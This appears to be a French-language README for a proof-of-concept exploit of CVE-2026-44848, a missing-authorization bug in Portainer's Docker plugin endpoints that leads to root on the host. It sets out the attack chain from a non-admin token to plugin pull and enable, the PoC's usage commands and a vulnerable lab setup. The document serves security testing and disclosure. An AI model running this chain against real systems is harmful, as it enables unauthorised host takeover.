
PoC pour CVE-2026-44848 : autorisation manquante dans Portainer sur les points de terminaison des plug-ins Docker -> RCE sur l'hôte (GHSA-rrmm-9v76-h3p4). Python basé uniquement sur la bibliothèque standard.
Preuve de concept pour CVE-2026-44848, une vulnérabilité d'authentification manquante (CWE-862) dans Portainer qui permet à un utilisateur non-admin disposant d'un accès à un endpoint Docker d'effectuer des opérations privilégiées sur les plugins Docker → RCE complète sur l'hôte.
Avis de sécurité GitHub : GHSA-rrmm-9v76-h3p4 · CVSS 9.4 (Critique).
Portainer applique un contrôle d'accès basé sur les rôles (RBAC) au-dessus de l'API Docker en proxyant les requêtes via des gestionnaires par ressource qui effectuent les vérifications d'autorisation. Les endpoints de gestion des plugins Docker (/plugins/*) n'étaient pas enregistrés avec un gestionnaire, si bien que la couche d'autorisation ne s'exécute jamais pour eux. Par conséquent, un utilisateur standard (rôle 2) — ou tout rôle disposant d'un accès au niveau de l'endpoint — peut appeler directement des opérations privilégiées sur les plugins contre le démon Docker sous-jacent :
POST /plugins/pull — tire un plugin arbitraire depuis n'importe quel registreCAP_SYS_ADMIN et des montages de chemins de l'hôtePOST /plugins/{name}/enable — Docker exécute le plugin en tant que root sur l'hôte avec ces
capacités → accès complet au système de fichiers de l'hôte et équivalent à root sur l'hôte Docker>= 2.33.0, < 2.33.8>= 2.39.0, < 2.39.2>= 2.40.0, < 2.41.0La primitive centrale, reproductible en toute sécurité, du bug : un utilisateur standard (non-admin) peut atteindre l'API Docker privilégiée /plugins/* via le proxy de Portainer sans autorisation. Et ce, de bout en bout, contre une véritable instance vulnérable de Portainer :
POST /api/users/admin/init (tolère le 409 + se replie sur la connexion).bob, rôle 2), en tolérant le 409 via la réinitialisation de son mot de passe.POST /api/endpoints si aucun n'existe) et accorde à bob l'accès via PUT /api/endpoints/{id} UserAccessPolicies.bob (l'utilisateur non-admin) et appelle GET /api/endpoints/1/docker/plugins avec le jeton de bob.# Defaults: https://localhost:9444, random admin password
python3 portainer_plugin_poc.py
# Explicit target + admin password + command
python3 portainer_plugin_poc.py --url https://localhost:9444 --admin-pass 'P@ssw0rd!' --command "id; hostname"
# Write a JSON summary
python3 portainer_plugin_poc.py --url https://localhost:9444 --output out.json
python3 portainer_plugin_poc.py --help
Nécessite uniquement la bibliothèque standard de Python 3. La vérification TLS est désactivée (certificats de laboratoire auto-signés).
docker run -d --name portainer-lab-cve44848 \
-p 127.0.0.1:9444:9443 \
-v /var/run/docker.sock:/var/run/docker.sock \
portainer/portainer-ce:2.39.1 # vulnerable
AUTH-BYPASS CONFIRMED: standard user reached /plugins (HTTP 200)
=> PASS (missing auth / host-RCE primitive confirmed)
Réservé uniquement à la recherche et aux tests de sécurité autorisés. L'étape d'activation (POST /plugins/*) peut accorder les droits root sur l'hôte ; ce PoC se limite à démontrer le contournement d'autorisation et n'active pas de plugin destructeur ou malveillant. À utiliser uniquement contre des systèmes que vous possédez ou que vous êtes autorisé à tester.